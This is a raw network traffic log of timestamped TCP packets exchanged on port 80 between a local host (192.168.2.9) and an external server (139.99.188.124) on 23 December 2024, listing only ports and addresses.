Dec 23, 2024 08:40:14.986471891 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.986593962 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.986805916 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.987221003 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.987374067 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.987420082 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.988023996 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.988171101 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.988260984 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.988694906 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.988821030 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.988859892 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.989414930 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.989527941 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.989573956 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.003952980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.004101992 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.004203081 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.004215956 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.004239082 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.004257917 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.004825115 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.004944086 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.004996061 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.005701065 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.024761915 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.024811029 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.024864912 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.024997950 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.025011063 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.025038004 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.025758028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.025804043 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.025816917 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.026428938 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.026515961 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.026540041 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.027211905 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.027268887 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.027327061 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.027894020 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.027934074 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.028007984 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.028616905 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.028657913 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.028723001 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.029340029 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.029426098 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.029450893 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.030056000 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.030244112 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.030272961 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.030801058 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.030853033 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.030895948 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.031557083 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.031608105 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.031701088 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.032417059 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.032536030 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.032546043 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.032993078 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.033030033 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.033099890 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.033710003 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.033752918 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.033792019 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.034463882 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.034502983 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.034531116 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.035173893 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.035216093 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.035319090 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.035865068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.035914898 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.035998106 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.036632061 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.036678076 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.036731958 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.037348032 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.037379980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.037406921 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.038054943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.038094997 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.038163900 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.038798094 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.038844109 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.038903952 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.039540052 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.039585114 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.039623022 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.040270090 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.040301085 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.040359974 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.040981054 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.041033030 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.041040897 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.041743040 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.041786909 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.041820049 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.042536974 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.042577028 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.042639971 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.043185949 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.043225050 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.043262005 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.043936968 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.043986082 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.043988943 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.044692039 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.044765949 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.044800997 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.045366049 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.045407057 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.045466900 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.046123028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.046174049 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.046216965 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.046906948 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.046998024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.047048092 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.047579050 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.047621965 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.047693968 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.048299074 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.048341990 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.048384905 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.049043894 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.049096107 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.049135923 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.049757957 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.049801111 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.049856901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.050488949 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.050529957 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.050566912 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.051212072 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.051258087 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.051322937 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.051959991 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.051999092 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.052064896 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.052706957 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.052755117 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.052767038 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.175273895 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.175333977 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.175340891 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.175628901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.175694942 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.175738096 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.176346064 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.176384926 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.176470041 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.177186966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.177309036 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.177310944 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.177831888 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.177867889 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.178006887 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.178551912 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.178592920 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.178673983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.179307938 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.179347038 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.179405928 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.180039883 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.180087090 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.180102110 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.180725098 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.180773973 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.180807114 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.181516886 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.181572914 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.181647062 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.195785999 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.195885897 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.195955992 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.195966005 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.196008921 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.196084023 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.196717024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.196731091 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.196758986 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.197479010 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.197608948 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.197618961 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.216574907 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.216691017 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.216778040 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.216933966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.217019081 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.217061996 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.217645884 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.217895985 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.217969894 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.217979908 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.218022108 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.218645096 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.218748093 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.218789101 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.219440937 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.219500065 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.219543934 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.220099926 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.220206976 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.220824957 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.220865965 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.220884085 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.221576929 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.221618891 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.221681118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.221720934 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.222338915 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.222445011 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.222492933 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.223006964 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.223117113 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.223161936 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.223738909 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.223843098 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.223905087 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.224459887 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.224534988 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.224602938 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.225208998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.225322008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.225370884 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.225923061 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.226054907 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.226233006 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.226669073 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.226689100 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.227399111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.227452993 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.227494001 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.228122950 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.228169918 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.228224039 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.228266001 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.228849888 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.228954077 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.229005098 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.229574919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.229610920 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.229660034 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.230308056 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.230423927 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.230483055 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.231021881 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.231118917 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.231153011 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.231790066 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.231920004 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.232250929 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.232505083 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.232619047 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.233208895 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.233258963 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.233313084 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.233964920 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.234004974 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.234072924 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.234110117 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.234692097 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.234791994 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.234846115 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.235418081 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.235537052 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.235588074 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.236135960 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.236243010 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.236527920 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.236896038 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.236978054 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.237035990 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.237616062 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.237740040 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.237777948 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.238339901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.238455057 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.238497972 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.239090919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.239249945 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.239300966 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.239850044 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.239923000 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.239995956 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.240540028 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.240626097 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.240669012 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.241247892 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.241362095 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.241415977 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.241991997 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.242100954 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.242152929 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.242703915 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.242835045 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.242891073 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.243465900 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.243609905 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.243660927 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.244187117 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.244273901 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.244484901 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.244889975 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.367643118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.367691994 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.367697954 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.367949963 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.367988110 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.368016005 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.368724108 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.368763924 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.368927002 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.369520903 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.369550943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.369568110 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.370147943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.370202065 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.370244980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.370907068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.370955944 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.371061087 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.371614933 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.371656895 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.371701002 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.372330904 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.372432947 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.372442007 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.373054981 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.373102903 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.373194933 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.373801947 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.373845100 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.373877048 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.390774965 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.390820026 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:15.390909910 CET	80	49813	139.99.188.124	192.168.2.9
